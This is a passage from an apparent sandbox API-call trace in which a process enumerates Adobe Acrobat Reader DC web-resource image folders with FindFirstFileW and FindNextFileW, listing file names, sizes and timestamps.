nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0245.767] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1 [0245.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7068, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfdf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dd_arrow_small.png", cAlternateFileName="DD_ARR~1.PNG")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicon.ico", cAlternateFileName="")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ind_prog.gif", cAlternateFileName="")) returned 1 [0245.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="japanese_over.png", cAlternateFileName="JAPANE~1.PNG")) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil.png", cAlternateFileName="LARGE_~1.PNG")) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="large_trefoil_2x.png", cAlternateFileName="LARGE_~2.PNG")) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress-indeterminate.gif", cAlternateFileName="PROGRE~2.GIF")) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x392e, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner.gif", cAlternateFileName="PROGRE~1.GIF")) returned 1 [0245.770] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x927b, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner2x.gif", cAlternateFileName="PROGRE~4.GIF")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a30, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark.gif", cAlternateFileName="PROGRE~3.GIF")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="progress_spinner_dark2x.gif", cAlternateFileName="PRBC72~1.GIF")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons.png", cAlternateFileName="RHP_IC~1.PNG")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RHP_icons_2x.png", cAlternateFileName="RHP_IC~2.PNG")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions.png", cAlternateFileName="SELECT~2.PNG")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 1 [0245.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-actions2x.png", cAlternateFileName="SELECT~1.PNG")) returned 0 [0245.771] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0245.773] GetProcessHeap () returned 0xc10000 [0245.773] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.773] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee707cad, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee707cad, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee707cad, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0245.773] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0245.774] GetProcessHeap () returned 0xc10000 [0245.774] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.774] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win-scrollbar", cAlternateFileName="WIN-SC~1")) returned 1 [0245.774] GetProcessHeap () returned 0xc10000 [0245.774] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0245.778] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.png", cAlternateFileName="ARROW-~1.PNG")) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.png", cAlternateFileName="")) returned 1 [0245.778] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="hscroll-thumb.png", cAlternateFileName="HSCROL~1.PNG")) returned 1 [0245.779] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0245.779] GetProcessHeap () returned 0xc10000 [0245.779] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 